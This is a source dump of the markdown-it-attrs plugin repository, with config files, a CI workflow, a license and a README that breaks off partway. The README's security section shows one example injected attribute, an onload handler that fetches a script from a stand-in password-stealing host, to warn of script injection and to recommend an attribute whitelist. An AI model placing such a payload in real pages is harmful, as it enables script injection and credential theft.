├── .editorconfig ├── .eslintignore ├── .eslintrc.json ├── .gitattributes ├── .github └── workflows │ └── ci.yml ├── .gitignore ├── .npmignore ├── .travis.yml ├── .vscode └── launch.json ├── ISSUE_TEMPLATE.md ├── LICENSE ├── README.md ├── bower.json ├── debug.js ├── demo.js ├── index.js ├── markdown-it-attrs.browser.js ├── package-lock.json ├── package.json ├── patterns.js ├── test.js └── utils.js /.editorconfig: -------------------------------------------------------------------------------- 1 | root = true 2 | 3 | [*] 4 | indent_style = space 5 | end_of_line = lf 6 | charset = utf-8 7 | trim_trailing_whitespace = true 8 | insert_final_newline = true 9 | 10 | [{package.json,*.yml}] 11 | indent_style = space 12 | indent_size = 2 13 | 14 | [*.md] 15 | trim_trailing_whitespace = false 16 | -------------------------------------------------------------------------------- /.eslintignore: -------------------------------------------------------------------------------- 1 | markdown-it-attrs.browser.js 2 | -------------------------------------------------------------------------------- /.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "env": { 3 | "node": true, 4 | "es6": true 5 | }, 6 | "globals": { 7 | "char": false 8 | }, 9 | "extends": [ "eslint:recommended" ], 10 | "rules": { 11 | "indent": [ 12 | "error", 13 | 2 14 | ], 15 | "linebreak-style": [ 16 | "error", 17 | "unix" 18 | ], 19 | "quotes": [ 20 | "error", 21 | "single" 22 | ], 23 | "semi": [ 24 | "error", 25 | "always" 26 | ], 27 | "no-shadow-restricted-names": "error", 28 | "no-shadow": [ 29 | "error", 30 | { "builtinGlobals": true } 31 | ], 32 | "no-var": "error", 33 | "prefer-const": "error", 34 | "no-else-return": "error", 35 | "default-case": "error", 36 | "consistent-return": "error", 37 | "no-restricted-syntax": [ 38 | "error", 39 | { 40 | "selector": "ForInStatement", 41 | "message": "for..in loops iterate over the entire prototype chain. Use Object.{keys,values,entries}." 42 | } 43 | ] 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | * text=auto eol=lf 2 | -------------------------------------------------------------------------------- /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: ci 2 | 3 | on: [push, pull_request] 4 | 5 | jobs: 6 | test: 7 | name: ${{ matrix.node-version }} on ${{ matrix.os }} 8 | strategy: 9 | fail-fast: false 10 | matrix: 11 | node-version: [16.x, 18.x, 20.x, 22.x] 12 | os: [ubuntu-latest, macOS-latest, windows-latest] 13 | runs-on: ${{ matrix.os }} 14 | 15 | steps: 16 | - if: runner.os == 'Windows' 17 | shell: bash 18 | run: | 19 | git config --global core.autocrlf false 20 | git config --global core.symlinks true 21 | - uses: actions/checkout@v4 22 | with: 23 | show-progress: false 24 | - name: v${{ matrix.node-version }} on ${{ matrix.os }} 25 | uses: actions/setup-node@v4 26 | with: 27 | node-version: ${{ matrix.node-version }} 28 | architecture: 'x64' 29 | cache: 'npm' 30 | - run: npm ci 31 | - run: npm test 32 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .nyc_output 3 | -------------------------------------------------------------------------------- /.npmignore: -------------------------------------------------------------------------------- 1 | /test.js 2 | /bower.json 3 | /.vscode 4 | /.nyc_output 5 | /ISSUE_TEMPLATE.md 6 | /.travis.yml 7 | /.eslintignore 8 | /.eslintrc.js 9 | /.eslintrc.json 10 | /.editorconfig 11 | /.gitignore 12 | /.github 13 | /.devcontainer 14 | /debug.js 15 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - 'lts/*' 4 | notifications: 5 | email: 6 | on_success: change 7 | on_failure: change 8 | after_success: npm run coverage 9 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "0.2.0", 3 | "configurations": [ 4 | { 5 | "name": "Debug", 6 | "type": "node", 7 | "request": "launch", 8 | "program": "${workspaceRoot}/debug.js", 9 | "stopOnEntry": false, 10 | "args": [], 11 | "cwd": "${workspaceRoot}", 12 | "preLaunchTask": null, 13 | "runtimeExecutable": null, 14 | "runtimeArgs": [ 15 | "--nolazy" 16 | ], 17 | "env": { 18 | "NODE_ENV": "development" 19 | }, 20 | "console": "internalConsole", 21 | "sourceMaps": false, 22 | "outFiles": [] 23 | } 24 | ] 25 | } 26 | -------------------------------------------------------------------------------- /ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | This is an issue template. Fill in your problem description here, replacing this text. Below you should include examples. 2 | 3 | Markdown-it versions: 4 | 5 | ```bash 6 | # run this command and copy the output 7 | npm ls | grep markdown-it 8 | ``` 9 | 10 | Example input: 11 | 12 | ```md 13 | this is the markdown I'm trying to parse {.replace-me} 14 | ``` 15 | 16 | Current output: 17 | 18 | ```html 19 |

this is the markdown I'm trying to parse

20 | ``` 21 | 22 | Expected output: 23 | 24 | ```html 25 |

this is the markdown I'm trying to parse

26 | ``` 27 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) Arve Seljebu (arve0.github.io) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # markdown-it-attrs [![GitHub actions](https://github.com/arve0/markdown-it-attrs/workflows/ci/badge.svg)](https://github.com/arve0/markdown-it-attrs/actions) [![npm version](https://badge.fury.io/js/markdown-it-attrs.svg)](http://badge.fury.io/js/markdown-it-attrs) [![Coverage Status](https://coveralls.io/repos/github/arve0/markdown-it-attrs/badge.svg?branch=master)](https://coveralls.io/github/arve0/markdown-it-attrs?branch=master) 2 | 3 | Add classes, identifiers and attributes to your markdown with `{.class #identifier attr=value attr2="spaced value"}` curly brackets, similar to [pandoc's header attributes](http://pandoc.org/README.html#extension-header_attributes). 4 | 5 | # Table of contents 6 | - [Examples](#examples) 7 | - [Install](#install) 8 | - [Support](#support) 9 | - [Usage](#usage) 10 | - [Security](#security) 11 | - [Limitations](#limitations) 12 | - [Ambiguity](#ambiguity) 13 | - [Custom rendering](#custom-rendering) 14 | - [Custom blocks](#custom-blocks) 15 | - [Custom delimiters](#custom-delimiters) 16 | - [Development](#development) 17 | - [License](#license) 18 | ## Examples 19 | Example input: 20 | ```md 21 | # header {.style-me} 22 | paragraph {data-toggle=modal} 23 | ``` 24 | 25 | Output: 26 | ```html 27 |

header

28 |

paragraph

29 | ``` 30 | 31 | Works with inline elements too: 32 | ```md 33 | paragraph *style me*{.red} more text 34 | ``` 35 | 36 | Output: 37 | ```html 38 |

paragraph style me more text

39 | ``` 40 | 41 | And fenced code blocks: 42 |

 43 | ```python {data=asdf}
 44 | nums = [x for x in range(10)]
 45 | ```
 46 | 
47 | 48 | Output: 49 | ```html 50 |

 51 | nums = [x for x in range(10)]
 52 | 
53 | ``` 54 | 55 | You can use `..` as a short-hand for `css-module=`: 56 | 57 | ```md 58 | Use the css-module green on this paragraph. {..green} 59 | ``` 60 | 61 | Output: 62 | ```html 63 |

Use the css-module green on this paragraph.

64 | ``` 65 | 66 | Also works with spans, in combination with the [markdown-it-bracketed-spans](https://github.com/mb21/markdown-it-bracketed-spans) plugin (to be installed and loaded as such then): 67 | 68 | ```md 69 | paragraph with [a style me span]{.red} 70 | ``` 71 | 72 | Output: 73 | ```html 74 |

paragraph with a style me span

75 | ``` 76 | 77 | ## Install 78 | 79 | ``` 80 | $ npm install --save markdown-it-attrs 81 | ``` 82 | 83 | ## Support 84 | Library is considered done from my part. I'm maintaining it with bug fixes and 85 | security updates. 86 | 87 | I'll approve pull requests that are easy to understand. Generally not willing 88 | merge pull requests that increase maintainance complexity. Feel free to open 89 | anyhow and I'll give my feedback. 90 | 91 | If you need some extra features, I'm available for hire. 92 | 93 | ## Usage 94 | 95 | ```js 96 | var md = require('markdown-it')(); 97 | var markdownItAttrs = require('markdown-it-attrs'); 98 | 99 | md.use(markdownItAttrs, { 100 | // optional, these are default options 101 | leftDelimiter: '{', 102 | rightDelimiter: '}', 103 | allowedAttributes: [] // empty array = all attributes are allowed 104 | }); 105 | 106 | var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}'; 107 | var res = md.render(src); 108 | 109 | console.log(res); 110 | ``` 111 | 112 | [demo as jsfiddle](https://jsfiddle.net/arve0/hwy17omn/) 113 | 114 | 115 | ## Security 116 | A user may insert rogue attributes like this: 117 | ```js 118 | ![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)} 119 | ``` 120 | 121 | If security is a concern, use an attribute whitelist: 122 | 123 | ```js 124 | md.use(markdownItAttrs, { 125 | allowedAttributes: ['id', 'class', /^regex.*$/] 126 | }); 127 | ``` 128 | 129 | Now only `id`, `class` and attributes beginning with `regex` are allowed: 130 | 131 | ```md 132 | text {#red .green regex=allowed onclick=alert('hello')} 133 | ``` 134 | 135 | Output: 136 | ```html 137 |

text

138 | ``` 139 | 140 | ## Limitations 141 | markdown-it-attrs relies on markdown parsing in markdown-it, which means some 142 | special cases are not possible to fix. Like using `_` outside and inside 143 | attributes: 144 | 145 | ```md 146 | _i want [all of this](/link){target="_blank"} to be italics_ 147 | ``` 148 | 149 | Above example will render to: 150 | ```html 151 |

_i want all of this{target="blank"} to be italics

152 | ``` 153 | 154 | ...which is probably not what you wanted. Of course, you could use `*` for 155 | italics to solve this parsing issue: 156 | 157 | ```md 158 | *i want [all of this](/link){target="_blank"} to be italics* 159 | ``` 160 | 161 | Output: 162 | ```html 163 |

i want all of this to be italics

164 | ``` 165 | 166 | ## Ambiguity 167 | When class can be applied to both inline or block element, inline element will take precedence: 168 | ```md 169 | - list item **bold**{.red} 170 | ``` 171 | 172 | Output: 173 | ```html 174 |